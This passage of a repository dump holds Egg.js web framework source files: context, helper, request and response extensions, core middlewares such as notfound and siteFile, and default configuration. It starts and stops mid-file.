scope.name || utils.getCalleeFromStack(true);\n    }\n    // use setImmediate to ensure all sync logic will run async\n    setImmediate(() => {\n      this._runInBackground(scope, taskName!);\n    });\n  }\n\n  // let plugins or frameworks to reuse _runInBackground in some cases.\n  // e.g.: https://github.com/eggjs/egg-mock/pull/78\n  async _runInBackground(scope: (ctx: Context) => Promise<void>, taskName: string): Promise<void> {\n    const startTime = now();\n    try {\n      await scope(this as any);\n      this.coreLogger.info('[egg:background] task:%s success (%dms)', taskName, diff(startTime));\n    } catch (err: any) {\n      // background task process log\n      this.coreLogger.info('[egg:background] task:%s fail (%dms)', taskName, diff(startTime));\n\n      // emit error when promise catch, and set err.runInBackground flag\n      err.runInBackground = true;\n      this.app.emit('error', err, this);\n    }\n  }\n\n  /**\n   * @member {Boolean} Context#acceptJSON\n   * @see Request#acceptJSON\n   * @since 1.0.0\n   */\n  get acceptJSON(): boolean {\n    return this.request.acceptJSON;\n  }\n\n  get query(): Record<string, string> {\n    return this.request.query;\n  }\n\n  /**\n   * @member {Array} Context#queries\n   * @see Request#queries\n   * @since 1.0.0\n   */\n  get queries(): Record<string, string[]> {\n    return this.request.queries;\n  }\n\n  /**\n   * @member {string} Context#ip\n   * @see Request#ip\n   * @since 1.0.0\n   */\n  get ip(): string {\n    return this.request.ip;\n  }\n\n  set ip(val: string) {\n    this.request.ip = val;\n  }\n\n  /**\n   * @member {Number} Context#realStatus\n   * @see Response#realStatus\n   * @since 1.0.0\n   */\n  get realStatus(): number {\n    return this.response.realStatus;\n  }\n\n  set realStatus(val: number) {\n    this.response.realStatus = val;\n  }\n}\n"
  },
  {
    "path": "packages/egg/src/app/extend/helper.ts",
    "content": "import url from 'node:url';\n\nimport { BaseContextClass } from '../../lib/core/base_context_class.ts';\n\n/**\n * The Helper class which can be used as utility function.\n * We support developers to extend Helper through ${baseDir}/app/extend/helper.js ,\n * then you can use all method on `ctx.helper` that is a instance of Helper.\n */\nexport default class Helper extends BaseContextClass {\n  /**\n   * Generate URL path(without host) for route. Takes the route name and a map of named params.\n   * @function Helper#pathFor\n   * @param {String} name - Router Name\n   * @param {Object} params - Other params\n   *\n   * @example\n   * ```js\n   * app.get('home', '/index.htm', 'home.index');\n   * ctx.helper.pathFor('home', { by: 'recent', limit: 20 })\n   * => /index.htm?by=recent&limit=20\n   * ```\n   * @return {String} url path(without host)\n   */\n  pathFor(name: string, params: Record<string, any>): string {\n    return this.app.router.url(name, params);\n  }\n\n  /**\n   * Generate full URL(with host) for route. Takes the route name and a map of named params.\n   * @function Helper#urlFor\n   * @param {String} name - Router name\n   * @param {Object} params - Other params\n   * @example\n   * ```js\n   * app.get('home', '/index.htm', 'home.index');\n   * ctx.helper.urlFor('home', { by: 'recent', limit: 20 })\n   * => http://127.0.0.1:7001/index.htm?by=recent&limit=20\n   * ```\n   * @return {String} full url(with host)\n   */\n  urlFor(name: string, params: Record<string, any>): string {\n    return this.ctx.protocol + '://' + this.ctx.host + url.resolve('/', this.pathFor(name, params));\n  }\n}\n"
  },
  {
    "path": "packages/egg/src/app/extend/request.ts",
    "content": "import querystring from 'node:querystring';\n\nimport { Request as EggCoreRequest } from '@eggjs/core';\n\nimport type { Application } from '../../lib/application.ts';\nimport type Context from './context.ts';\nimport Response from './response.ts';\n\nconst QUERY_CACHE = Symbol('request query cache');\nconst QUERIES_CACHE = Symbol('request queries cache');\nconst PROTOCOL = Symbol('request protocol');\nconst HOST = Symbol('request host');\nconst IPS = Symbol('request ips');\nconst RE_ARRAY_KEY = /[^[\\]]+\\[\\]$/;\n\nexport default class Request extends EggCoreRequest {\n  declare app: Application;\n  declare ctx: Context;\n  declare response: Response;\n\n  /**\n   * Request body, parsed from koa-bodyparser or @eggjs/multipart\n   */\n  declare body: any;\n\n  /**\n   * Parse the \"Host\" header field host\n   * and support X-Forwarded-Host when a\n   * proxy is enabled.\n   * @member {String} Request#host\n   * @example\n   * ip + port\n   * ```js\n   * this.request.host\n   * => '127.0.0.1:7001'\n   * ```\n   * or domain\n   * ```js\n   * this.request.host\n   * => 'demo.eggjs.org'\n   * ```\n   */\n  get host(): string {\n    let host = this[HOST] as string | undefined;\n    if (host) {\n      return host;\n    }\n\n    if (this.app.config.proxy) {\n      host = getFromHeaders(this, this.app.config.hostHeaders);\n    }\n    host = host || this.get('host') || '';\n    this[HOST] = host = host.split(',')[0].trim();\n    return host;\n  }\n\n  /**\n   * @member {String} Request#protocol\n   * @example\n   * ```js\n   * this.request.protocol\n   * => 'https'\n   * ```\n   */\n  get protocol(): string {\n    let protocol = this[PROTOCOL] as string;\n    if (protocol) {\n      return protocol;\n    }\n    // detect encrypted socket\n    if (this.socket?.encrypted) {\n      this[PROTOCOL] = protocol = 'https';\n      return protocol;\n    }\n    // get from headers specified in `app.config.protocolHeaders`\n    if (this.app.config.proxy) {\n      const proto = getFromHeaders(this, this.app.config.protocolHeaders);\n      if (proto) {\n        this[PROTOCOL] = protocol = proto.split(/\\s*,\\s*/)[0];\n        return protocol;\n      }\n    }\n    // use protocol specified in `app.config.protocol`\n    this[PROTOCOL] = protocol = this.app.config.protocol || 'http';\n    return protocol;\n  }\n\n  /**\n   * Get all pass through ip addresses from the request.\n   * Enable only on `app.config.proxy = true`\n   *\n   * @member {Array} Request#ips\n   * @example\n   * ```js\n   * this.request.ips\n   * => ['100.23.1.2', '201.10.10.2']\n   * ```\n   */\n  get ips(): string[] {\n    let ips = this[IPS] as string[] | undefined;\n    if (ips) {\n      return ips;\n    }\n\n    // return empty array when proxy=false\n    if (!this.app.config.proxy) {\n      this[IPS] = ips = [];\n      return ips;\n    }\n\n    const val = getFromHeaders(this, this.app.config.ipHeaders);\n    this[IPS] = ips = val ? val.split(/\\s*,\\s*/) : [];\n\n    let maxIpsCount = this.app.config.maxIpsCount;\n    // Compatible with maxProxyCount logic (previous logic is wrong, only for compatibility with legacy logic)\n    if (!maxIpsCount && this.app.config.maxProxyCount) {\n      maxIpsCount = this.app.config.maxProxyCount + 1;\n    }\n\n    if (maxIpsCount > 0) {\n      // if maxIpsCount present, only keep `maxIpsCount` ips\n      // [ illegalIp, clientRealIp, proxyIp1, proxyIp2 ...]\n      this[IPS] = ips = ips.slice(-maxIpsCount);\n    }\n    return ips;\n  }\n\n  /**\n   * Get the request remote IPv4 address\n   * @member {String} Request#ip\n   * @return {String} IPv4 address\n   * @example\n   * ```js\n   * this.request.ip\n   * => '127.0.0.1'\n   * => '111.10.2.1'\n   * ```\n   */\n  get ip(): string {\n    if (this._ip) {\n      return this._ip;\n    }\n    const ip = this.ips[0] ?? this.socket.remoteAddress;\n    // will be '::ffff:x.x.x.x', should convert to standard IPv4 format\n    // https://zh.wikipedia.org/wiki/IPv6\n    this._ip = ip && ip.startsWith('::ffff:') ? ip.substring(7) : ip;\n    return this._ip;\n  }\n\n  /**\n   * Set the request remote IPv4 address\n   * @member {String} Request#ip\n   * @param {String} ip - IPv4 address\n   * @example\n   * ```js\n   * this.request.ip\n   * => '127.0.0.1'\n   * => '111.10.2.1'\n   * ```\n   */\n  set ip(ip: string) {\n    this._ip = ip;\n  }\n\n  /**\n   * detect if response should be json\n   * 1. url path ends with `.json`\n   * 2. response type is set to json\n   * 3. detect by request accept header\n   *\n   * @member {Boolean} Request#acceptJSON\n   * @since 1.0.0\n   */\n  get acceptJSON(): boolean {\n    if (this.path.endsWith('.json')) return true;\n    if (this.response.type && this.response.type.indexOf('json') >= 0) return true;\n    if (this.accepts('html', 'text', 'json') === 'json') return true;\n    return false;\n  }\n\n  // How to read query safely\n  // https://github.com/koajs/qs/issues/5\n  _customQuery(\n    cacheName: symbol,\n    filter: (value: string | string[]) => string | string[],\n  ): Record<string, string | string[]> {\n    const str = this.querystring || '';\n    let c = this[cacheName] as Record<string, Record<string, string | string[]>>;\n    if (!c) {\n      c = this[cacheName] = {};\n    }\n    let cacheQuery = c[str];\n    if (!cacheQuery) {\n      cacheQuery = c[str] = {};\n      const isQueries = cacheName === QUERIES_CACHE;\n      // `querystring.parse` CANNOT parse something like `a[foo]=1&a[bar]=2`\n      const query = str ? querystring.parse(str) : {};\n      for (const key in query) {\n        if (!key) {\n          // key is '', like `a=b&`\n          continue;\n        }\n        const value = filter(query[key]!);\n        cacheQuery[key] = value;\n        if (isQueries && RE_ARRAY_KEY.test(key)) {\n          // `this.queries['key'] => this.queries['key[]']` is compatibly supported\n          const subKey = key.substring(0, key.length - 2);\n          if (!cacheQuery[subKey]) {\n            cacheQuery[subKey] = value;\n          }\n        }\n      }\n    }\n    return cacheQuery;\n  }\n\n  /**\n   * get params pass by querystring, all values are of string type.\n   * @member {Object} Request#query\n   * @example\n   * ```js\n   * GET http://127.0.0.1:7001?name=Foo&age=20&age=21\n   * this.query\n   * => { 'name': 'Foo', 'age': '20' }\n   *\n   * GET http://127.0.0.1:7001?a=b&a=c&o[foo]=bar&b[]=1&b[]=2&e=val\n   * this.query\n   * =>\n   * {\n   *   \"a\": \"b\",\n   *   \"o[foo]\": \"bar\",\n   *   \"b[]\": \"1\",\n   *   \"e\": \"val\"\n   * }\n   * ```\n   */\n  get query(): Record<string, string> {\n    return this._customQuery(QUERY_CACHE, firstValue) as Record<string, string>;\n  }\n\n  /**\n   * get params pass by querystring, all value are Array type. {@link Request#query}\n   * @member {Array} Request#queries\n   * @example\n   * ```js\n   * GET http://127.0.0.1:7001?a=b&a=c&o[foo]=bar&b[]=1&b[]=2&e=val\n   * this.queries\n   * =>\n   * {\n   *   \"a\": [\"b\", \"c\"],\n   *   \"o[foo]\": [\"bar\"],\n   *   \"b[]\": [\"1\", \"2\"],\n   *   \"e\": [\"val\"]\n   * }\n   * ```\n   */\n  get queries(): Record<string, string[]> {\n    return this._customQuery(QUERIES_CACHE, arrayValue) as Record<string, string[]>;\n  }\n\n  /**\n   * Set query-string as an object.\n   *\n   * @function Request#query\n   * @param {Object} obj set querystring and query object for request.\n   */\n  set query(obj: Record<string, string>) {\n    this.querystring = querystring.stringify(obj);\n  }\n}\n\nfunction firstValue(value: string | string[]) {\n  if (Array.isArray(value)) {\n    value = value[0];\n  }\n  return value;\n}\n\nfunction arrayValue(value: string | string[]) {\n  if (!Array.isArray(value)) {\n    value = [value];\n  }\n  return value;\n}\n\nfunction getFromHeaders(request: Request, names: string) {\n  if (!names) return '';\n  const fields = names.split(/\\s*,\\s*/);\n  for (const name of fields) {\n    const value = request.get<string>(name);\n    if (value) return value;\n  }\n  return '';\n}\n"
  },
  {
    "path": "packages/egg/src/app/extend/response.ts",
    "content": "import { Response as KoaResponse } from '@eggjs/core';\n\nconst REAL_STATUS = Symbol('response realStatus');\n\nexport default class Response extends KoaResponse {\n  /**\n   * Get or set a real status code.\n   *\n   * e.g.: Using 302 status redirect to the global error page\n   * instead of show current 500 status page.\n   * And access log should save 500 not 302,\n   * then the `realStatus` can help us find out the real status code.\n   * @member {Number} Response#realStatus\n   * @return {Number} The status code to be set.\n   */\n  get realStatus(): number {\n    if (this[REAL_STATUS]) {\n      return this[REAL_STATUS] as number;\n    }\n    return this.status;\n  }\n\n  /**\n   * Set a real status code.\n   *\n   * e.g.: Using 302 status redirect to the global error page\n   * instead of show current 500 status page.\n   * And access log should save 500 not 302,\n   * then the `realStatus` can help us find out the real status code.\n   * @member {Number} Response#realStatus\n   * @param {Number} status The status code to be set.\n   */\n  set realStatus(status: number) {\n    this[REAL_STATUS] = status;\n  }\n}\n"
  },
  {
    "path": "packages/egg/src/app/middleware/body_parser.ts",
    "content": "import bodyparser from 'koa-bodyparser';\n\nexport default bodyparser;\n"
  },
  {
    "path": "packages/egg/src/app/middleware/meta.ts",
    "content": "/**\n * meta middleware, should be the first middleware\n */\n\nimport { performance } from 'node:perf_hooks';\n\nimport type { MiddlewareFunc } from '../../lib/egg.ts';\n\nexport interface MetaMiddlewareOptions {\n  enable: boolean;\n  logging: boolean;\n}\n\nexport default (options: MetaMiddlewareOptions): MiddlewareFunc => {\n  return async function meta(ctx, next): Promise<void> {\n    if (options.logging) {\n      ctx.coreLogger.info('[meta] request started, host: %s, user-agent: %s', ctx.host, ctx.header['user-agent']);\n    }\n    await next();\n    // total response time header\n    if (ctx.performanceStarttime) {\n      ctx.set('x-readtime', Math.floor((performance.now() - ctx.performanceStarttime) * 1000) / 1000);\n    } else {\n      ctx.set('x-readtime', Date.now() - ctx.starttime);\n    }\n  };\n};\n"
  },
  {
    "path": "packages/egg/src/app/middleware/notfound.ts",
    "content": "import type { MiddlewareFunc } from '../../lib/egg.ts';\n\nexport interface NotFoundMiddlewareOptions {\n  enable: boolean;\n  pageUrl: string;\n}\n\nexport default (options: NotFoundMiddlewareOptions): MiddlewareFunc => {\n  return async function notfound(ctx, next): Promise<void> {\n    await next();\n\n    if (ctx.status !== 404 || ctx.body) {\n      return;\n    }\n\n    // set status first, make sure set body not set status\n    ctx.status = 404;\n\n    if (ctx.acceptJSON) {\n      ctx.body = {\n        message: 'Not Found',\n      };\n      return;\n    }\n\n    const notFoundHtml = '<h1>404 Not Found</h1>';\n\n    // notfound handler is unimplemented\n    if (options.pageUrl && ctx.path === options.pageUrl) {\n      ctx.body = `${notFoundHtml}<p><pre><code>config.notfound.pageUrl(${options.pageUrl})</code></pre> is unimplemented</p>`;\n      return;\n    }\n\n    if (options.pageUrl) {\n      ctx.realStatus = 404;\n      ctx.redirect(options.pageUrl);\n      return;\n    }\n    ctx.body = notFoundHtml;\n  };\n};\n"
  },
  {
    "path": "packages/egg/src/app/middleware/override_method.ts",
    "content": "import override from 'koa-override';\n\nexport default override;\n"
  },
  {
    "path": "packages/egg/src/app/middleware/site_file.ts",
    "content": "import { readFile } from 'node:fs/promises';\nimport path from 'node:path';\nimport { fileURLToPath } from 'node:url';\n\nimport type { Context, MiddlewareFunc } from '../../lib/egg.ts';\n\nexport type SiteFileContentFun = (ctx: Context) => Promise<Buffer | string>;\n\nexport interface SiteFileMiddlewareOptions {\n  enable: boolean;\n  cacheControl: string;\n  [key: string]: string | Buffer | boolean | SiteFileContentFun | URL;\n}\n\nconst BUFFER_CACHE = Symbol('siteFile URL buffer cache');\n\nexport default (options: SiteFileMiddlewareOptions): MiddlewareFunc => {\n  return async function siteFile(ctx, next): Promise<void> {\n    if (ctx.method !== 'HEAD' && ctx.method !== 'GET') {\n      return next();\n    }\n    if (ctx.path[0] !== '/') {\n      return next();\n    }\n\n    let content = options[ctx.path];\n    if (!content) {\n      return next();\n    }\n\n    // '/favicon.ico': 'https://eggjs.org/favicon.ico' or '/favicon.ico': async (ctx) => 'https://eggjs.org/favicon.ico'\n    // content is function\n    if (typeof content === 'function') {\n      content = await content(ctx);\n    }\n    // content is url\n    if (typeof content === 'string') {\n      return ctx.redirect(content);\n    }\n\n    // URL\n    if (content instanceof URL) {\n      if (content.protocol !== 'file:') {\n        return ctx.redirect(content.href);\n      }\n      // protocol = file:\n      let buffer = Reflect.get(content, BUFFER_CACHE) as Buffer;\n      if (!buffer) {\n        buffer = await readFile(fileURLToPath(content));\n        Reflect.set(content, BUFFER_CACHE, buffer);\n      }\n      ctx.set('cache-control', options.cacheControl);\n      ctx.body = content;\n      ctx.type = path.extname(ctx.path);\n      return;\n    }\n\n    // '/robots.txt': Buffer <xx..\n    // content is buffer\n    if (Buffer.isBuffer(content)) {\n      ctx.set('cache-control', options.cacheControl);\n      ctx.body = content;\n      ctx.type = path.extname(ctx.path);\n      return;\n    }\n\n    return next();\n  };\n};\n"
  },
  {
    "path": "packages/egg/src/config/config.default.ts",
    "content": "import path from 'node:path';\nimport { pathToFileURL } from 'node:url';\n\nimport { defineConfigFactory, type PartialEggConfig, type EggConfigFactory } from '../index.ts';\n\n/**\n * The configuration of egg application, can be access by `app.config`\n * @class Config\n * @since 1.0.0\n */\nconst factory: EggConfigFactory = defineConfigFactory((appInfo): PartialEggConfig => {\n  const config: PartialEggConfig = {\n    /**\n     * The environment of egg\n     * @member {String} Config#env\n     * @see {appInfo#env}\n     * @since 1.0.0\n     */\n    env: appInfo.env,\n\n    /**\n     * The name of the application\n     * @member {String} Config#name\n     * @see {appInfo#name}\n     * @since 1.0.0\n     */\n    name: appInfo.name,\n\n    /**\n     * The key that signing cookies. It can contain multiple keys separated by `,`.\n     * @member {String} Config#keys\n     * @see https://eggjs.org/core/cookie-and-session#cookie-secret-key\n     * @default\n     * @since 1.0.0\n     */\n    keys: '',\n\n    /**\n     * default cookie options\n     *\n     * @member Config#cookies\n     * @property {String} sameSite - SameSite property, defaults is ''\n     * @property {Boolean} httpOnly - httpOnly property, defaults is true\n     */\n    cookies: {\n      // httpOnly: true | false,\n      // sameSite: 'none|lax|strict',\n    },\n\n    /**\n     * Whether application deployed after a reverse proxy,\n     * when true proxy header fields will be trusted\n     * @member {Boolean} Config#proxy\n     * @default\n     * @since 1.0.0\n     */\n    proxy: false,\n\n    /**\n     *\n     * max ips read from proxy ip header, default to 0 (means infinity)\n     * to prevent users from forging client ip addresses via x-forwarded-for\n     * @see https://github.com/koajs/koa/blob/master/docs/api/request.md#requestips\n     * @member {Integer} Config#maxIpsCount\n     * @default\n     * @since 2.25.0\n     */\n    maxIpsCount: 0,\n\n    /**\n     * please use maxIpsCount instead\n     * @member {Integer} Config#maxProxyCount\n     * @default\n     * @since 2.21.0\n     * @deprecated\n     */\n    maxProxyCount: 0,\n\n    /**\n     * Detect request's protocol from specified headers, not case-sensitive.\n     * Only worked when config.proxy set to true.\n     * @member {String} Config#protocolHeaders\n     * @default\n     * @since 1.0.0\n     */\n    protocolHeaders: 'x-forwarded-proto',\n\n    /**\n     * Detect request' ip from specified headers, not case-sensitive.\n     * Only worked when config.proxy set to true.\n     * @member {String} Config#ipHeaders\n     * @default\n     * @since 1.0.0\n     */\n    ipHeaders: 'x-forwarded-for',\n\n    /**\n     * Detect request' host from specified headers, not case-sensitive.\n     * Only worked when config.proxy set to true.\n     * @member {String} Config#hostHeaders\n     * @default\n     * @since 1.0.0\n     */\n    hostHeaders: '',\n\n    /**\n     * package.json\n     * @member {Object} Config#pkg\n     * @see {appInfo#pkg}\n     * @since 1.0.0\n     */\n    pkg: appInfo.pkg,\n\n    /**\n     * The current directory of the application\n     * @member {String} Config#baseDir\n     * @see {appInfo#baseDir}\n     * @since 1.0.0\n     */\n    baseDir: appInfo.baseDir,\n\n    /**\n     * The current HOME directory\n     * @member {String} Config#HOME\n     * @see {appInfo#HOME}\n     * @since 1.0.0\n     */\n    HOME: appInfo.HOME,\n\n    /**\n     * The directory of server running. You can find `application_config.json` under it that is dumped from `app.config`.\n     * @member {String} Config#rundir\n     * @default\n     * @since 1.0.0\n     */\n    rundir: path.join(appInfo.baseDir, 'run'),\n\n    /**\n     * dump config\n     *\n     * It will ignore special keys when dumpConfig\n     *\n     * @member Config#dump\n     * @property {Set} ignore - keys to ignore\n     */\n    dump: {\n      ignore: new Set([\n        'pass',\n        'pwd',\n        'passd',\n        'passwd',\n        'password',\n        'keys',\n        'masterKey',\n        'accessKey',\n        // ignore any key contains \"secret\" keyword\n        /secret/i,\n      ]),\n      timing: {\n        // if boot action >= slowBootActionMinDuration, egg core will print it to warning log\n        slowBootActionMinDuration: 5000,\n      },\n    },\n\n    /**\n     * configurations are confused to users\n     * {\n     *   [unexpectedKey]: [expectedKey],\n     * }\n     * @member Config#confusedConfigurations\n     * @type {Object}\n     */\n    confusedConfigurations: {\n      bodyparser: 'bodyParser',\n      notFound: 'notfound',\n      sitefile: 'siteFile',\n      middlewares: 'middleware',\n      httpClient: 'httpclient',\n    },\n  };\n\n  /**\n   * The options of `notfound` middleware\n   *\n   * It will return page or json depend on negotiation when 404,\n   * If pageUrl is set, it will redirect to the page.\n   *\n   * @member Config#notfound\n   * @property {String} pageUrl - the 404 page url\n   */\n  config.notfound = {\n    enable: true,\n    pageUrl: '',\n  };\n\n  /**\n   * The option of `siteFile` middleware\n   *\n   * You can map some files using this options, it will response immediately when matching.\n   *\n   * @member {Object} Config#siteFile - key is path, and value is url or buffer.\n   * @property {String} cacheControl - files cache control, default is `public, max-age=2592000`\n   * @example\n   * ```ts\n   * // specific app's favicon, => '/favicon.ico': 'https://eggjs.org/favicon.png',\n   * config.siteFile = {\n   *   '/favicon.ico': 'https://eggjs.org/favicon.png',\n   * };\n   * ```\n   */\n  config.siteFile = {\n    enable: true,\n    '/favicon.ico': pathToFileURL(path.join(import.meta.dirname, 'favicon.png')),\n    // default cache in 30 days\n    cacheControl: 'public, max-age=2592000',\n  };\n\n  /**\n   * The options of `bodyParser` middleware\n   *\n   * @member Config#bodyParser\n   * @property {Boolean} enable - enable bodyParser or not, default is true\n   * @property {String | RegExp | Function | Array} ignore - won't parse request body when url path hit ignore pattern, can not set `ignore` when `match` presented\n   * @property {String | RegExp | Function | Array} match - will parse request body only when url path hit match pattern\n   * @property {String} encoding - body's encoding type，default is utf8\n   * @property {String} formLimit - limit of the urlencoded body. If the body ends up being larger than this limit, a 413 error code is returned. Default is 1mb\n   * @property {String} jsonLimit - limit of the json body, default is 1mb\n   * @property {String} textLimit - limit of the text body, default is 1mb\n   * @property {Boolean} strict - when set to true, JSON parser will only accept arrays and objects. Default is true\n   * @property {Number} queryString.arrayLimit - urlencoded body array's max length, default is 100\n   * @property {Number} queryString.depth - urlencoded body object's max depth, default is 5\n   * @property {Number} queryString.parameterLimit - urlencoded body maximum parameters, default is 1000\n   */\n  config.bodyParser = {\n    enable: true,\n    encoding: 'utf8',\n    formLimit: '1mb',\n    jsonLimit: '1mb',\n    textLimit: '1mb',\n    strict: true,\n    // @see https://github.com/hapijs/qs/blob/master/lib/parse.js#L8 for more options\n    queryString: {\n      arrayLimit: 100,\n      depth: 5,\n      parameterLimit: 1000,\n    },\n    onProtoPoisoning: 'error',\n    onerror(err, ctx) {\n      err.message = `${err.message}, check bodyParser config`;\n      if (ctx.status === 404) {\n        // set default status to 400, meaning client bad request\n        ctx.status = 400;\n        if (!err.status) {\n          err.status = 400;\n        }\n      }\n      throw err;\n    },\n  };\n\n  /**\n   * logger options\n   * @member Config#logger\n   * @property {String} dir - directory of log files\n   * @property {String} encoding - log file encoding, defaults to utf8\n   * @property {String} level - default log level, could be: DEBUG, INFO, WARN, ERROR or NONE, defaults to INFO in production\n   * @property {String} consoleLevel - log level of stdout, defaults to INFO in local serverEnv, defaults to WARN in unittest, defaults to NONE elsewise\n   * @property {Boolean} disableConsoleAfterReady - disable logger console after app ready. defaults to `false` on local and unittest env, others is `true`.\n   * @property {Boolean} outputJSON - log as JSON or not, defaults to false\n   * @property {Boolean} buffer - if enabled, flush logs to disk at a certain frequency to improve performance, defaults to true\n   * @property {String} errorLogName - file name of errorLogger\n   * @property {String} coreLogName - file name of coreLogger\n   * @property {String} agentLogName - file name of agent worker log\n   * @property {Object} coreLogger - custom config of coreLogger\n   * @property {Boolean} allowDebugAtProd - allow debug log at prod, defaults to false\n   * @property {Boolean} enableFastContextLogger - using the app logger instead of EggContextLogger, defaults to true\n   */\n  config.logger = {\n    dir: path.join(appInfo.root, 'logs', appInfo.name),\n    encoding: 'utf8',\n    env: appInfo.env,\n    level: 'INFO',\n    consoleLevel: 'INFO',\n    disableConsoleAfterReady: appInfo.env !== 'local' && appInfo.env !== 'unittest',\n    outputJSON: false,\n    buffer: true,\n    appLogName: `${appInfo.name}-web.log`,\n    coreLogName: 'egg-web.log',\n    agentLogName: 'egg-agent.log',\n    errorLogName: 'common-error.log',\n    coreLogger: {},\n    allowDebugAtProd: false,\n    enableFastContextLogger: true,\n  };\n\n  /**\n   * The option for httpclient\n   * @member Config#httpclient\n   * @property {Boolean} enableDNSCache - Enable DNS lookup from local cache or not, default is false.\n   * @property {Boolean} dnsCacheLookupInterval - minimum interval of DNS query on the same hostname (default 10s).\n   *\n   * @property {Number} request.timeout - httpclient request default timeout, default is 5000 ms.\n   *\n   * @property {Boolean} httpAgent.keepAlive - Enable http agent keepalive or not, default is true\n   * @property {Number} httpAgent.freeSocketTimeout - http agent socket keepalive max free time, default is 4000 ms.\n   * @property {Number} httpAgent.maxSockets - http agent max socket number of one host, default is `Number.MAX_SAFE_INTEGER` @ses https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Number/MAX_SAFE_INTEGER\n   * @property {Number} httpAgent.maxFreeSockets - http agent max free socket number of one host, default is 256.\n   *\n   * @property {Boolean} httpsAgent.keepAlive - Enable https agent keepalive or not, default is true\n   * @property {Number} httpsAgent.freeSocketTimeout - https agent socket keepalive max free time, default is 4000 ms.\n   * @property {Number} httpsAgent.maxSockets - https agent max socket number of one host, default is `Number.MAX_SAFE_INTEGER` @ses https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Number/MAX_SAFE_INTEGER\n   * @property {Number} httpsAgent.maxFreeSockets - https agent max free socket number of one host, default is 256.\n   * @property {Boolean} useHttpClientNext - use urllib@3 HttpClient\n   */\n  config.httpclient = {\n    request: {\n      timeout: 5000,\n    },\n  };\n\n  /**\n   * The options of `meta` middleware\n   *\n   * @member Config#meta\n   * @property {Boolean} enable - enable meta or not, default is `true`\n   * @property {Boolean} logging - enable logging start request, default is `false`\n   */\n  config.meta = {\n    enable: true,\n    logging: false,\n  };\n\n  /**\n   * core enable middlewares\n   * @member {Array} Config#middleware\n   */\n  config.coreMiddleware = ['meta', 'siteFile', 'notfound', 'bodyParser', 'overrideMethod'];\n\n  /**\n   * emit `startTimeout` if worker don't ready after `workerStartTimeout` ms\n   * @member {Number} Config.workerStartTimeout\n   */\n  config.workerStartTimeout = 10 * 60 * 1000;\n\n  /**\n   * server timeout in milliseconds, default to 0 (no timeout).\n   *\n   * for special request, just use `ctx.req.setTimeout(ms)`\n   *\n   * @member {Number} Config#serverTimeout\n   * @see https://nodejs.org/api/http.html#http_server_timeout\n   */\n  config.serverTimeout = null;\n\n  /**\n   * The options of cluster\n   * @member {Object} Config#cluster\n   * @property {Object} listen - listen options, see {@link https://nodejs.org/api/http.html#http_server_listen_port_hostname_backlog_callback}\n   * @property {String} listen.path - set a unix sock path when server listen\n   * @property {Number} listen.port - set a port when server listen\n   * @property {String} listen.hostname - set a hostname binding server when server listen\n   * @property {Boolean} listen.reusePort - enable SO_REUSEPORT socket option, default is `false`.\n   *   Only available on Linux 3.9+, DragonFlyBSD 3.6+, FreeBSD 12.0+, Solaris 11.4, and AIX 7.2.5+.\n   */\n  config.cluster = {\n    listen: {\n      path: '',\n      port: 7001,\n      hostname: '',\n      reusePort: false,\n    },\n  };\n\n  /**\n   * @property {Number} responseTimeout - response timeout, default is 60000\n   */\n  config.clusterClient = {\n    maxWaitTime: 60000,\n    responseTimeout: 60000,\n  };\n\n  /**\n   * This function / async function will be called when a client error occurred and return the response.\n   *\n   * The arguments are `err`, `socket` and `application` which indicate current client error object, current socket\n   * object and the application object.\n   *\n   * The response to be returned should include properties below:\n   *\n   * @member {Function} Config#onClientError\n   * @property [body] {String|Buffer} - the response body\n   * @property [status] {Number} - the response status code\n   * @property [headers] {Object} - the response header key-value pairs\n   *\n   * @example\n   * exports.onClientError = async (err, socket, app) => {\n   *   return {\n   *     body: 'error',\n   *     status: 400,\n   *     headers: {\n   *       'powered-by': 'Egg.js',\n   *     }\n   *   };\n   * }\n   */\n  config.onClientError = undefined;\n\n  return config;\n});\n\nexport default factory;\n"
  },
  {
    "path": "packages/egg/src/config/config.local.ts",
    "content": "import { defineConfig, type PartialEggConfig } from '../lib/define.ts';\n\nconst config: PartialEggConfig = defineConfig({\n  logger: {\n    coreLogger: {\n      consoleLevel: 'WARN',\n    },\n  },\n});\n\nexport default config;\n"
  },
  {
    "path": "packages/egg/src/config/config.unittest.ts",
    "content": "import { defineConfig, type PartialEggConfig } from '../lib/define.ts';\n\nconst config: PartialEggConfig = defineConfig({\n  logger: {\n    consoleLevel: 'WARN',\n    // disable buffer for unittest\n    buffer: false,\n  },\n});\n\nexport default config;\n"
  },
  {
    "path": "packages/egg/src/config/plugin.ts",
    "content": "import developmentPlugin from '@eggjs/development';\nimport i18nPlugin from '@eggjs/i18n';\nimport jsonpPlugin from '@eggjs/jsonp';\nimport logrotatorPlugin from '@eggjs/logrotator';\nimport multipartPlugin from '@eggjs/multipart';\nimport onerrorPlugin from '@eggjs/onerror';\nimport schedulePlugin from '@eggjs/schedule';\nimport securityPlugin from '@eggjs/security';\nimport sessionPlugin from '@eggjs/session';\nimport staticPlugin from '@eggjs/static';\nimport viewPlugin from '@eggjs/view';\nimport watcherPlugin from '@eggjs/watcher';\n\nimport type { EggPluginItem } from '../index.ts';\n\nconst enableTeggPlugins = process.env.DISABLE_TEGG_PLUGINS !== 'true';\n\nconst plugins: Record<string, EggPluginItem> = {\n  /**\n   * app global Error Handling\n   * @member {Object} Plugin#onerror\n   * @property {Boolean} enable - `true` by default\n   */\n  ...onerrorPlugin(),\n\n  /**\n   * session\n   * @member {Object} Plugin#session\n   * @property {Boolean} enable - `true` by default\n   * @since 1.0.0\n   */\n  ...sessionPlugin(),\n\n  /**\n   * i18n\n   * @member {Object} Plugin#i18n\n   * @property {Boolean} enable - `true` by default\n   * @since 1.0.0\n   */\n  ...i18nPlugin(),\n\n  /**\n   * file and dir watcher\n   * @member {Object} Plugin#watcher\n   * @property {Boolean} enable - `true` by default\n   * @since 1.0.0\n   */\n  ...watcherPlugin(),\n\n  /**\n   * multipart\n   * @member {Object} Plugin#multipart\n   * @property {Boolean} enable - `true` by default\n   * @since 1.0.0\n   */\n  ...multipartPlugin(),\n\n  /**\n   * security middlewares and extends\n   * @member {Object} Plugin#security\n   * @property {Boolean} enable - `true` by default\n   * @since 1.0.0\n   */\n  ...securityPlugin(),\n\n  ...developmentPlugin(),\n\n  /**\n   * logger file rotator\n   * @member {Object} Plugin#logrotator\n   * @property {Boolean} enable - `true` by default\n   * @since 1.0.0\n   */\n  